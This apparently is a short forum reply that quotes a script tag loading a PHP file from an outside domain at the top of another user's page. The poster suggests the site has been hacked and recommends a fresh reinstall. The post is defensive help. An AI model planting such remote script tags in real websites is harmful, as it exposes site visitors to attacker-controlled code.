What is this code at the top of your page?
HTML Code:
<script type="text/javascript" src="http://www.donaldmazza.com/ngffjrzg.php"></script><script type="text/javascript" src="http://www.donaldmazza.com/ngffjrzg.php"></script><br />
If you didn't put it there, then I think you've been hacked which means you should definitely do what Sven suggested and download a fresh set of files and upload them to the site and remove ALL files from your server that you didn't personally upload to the site.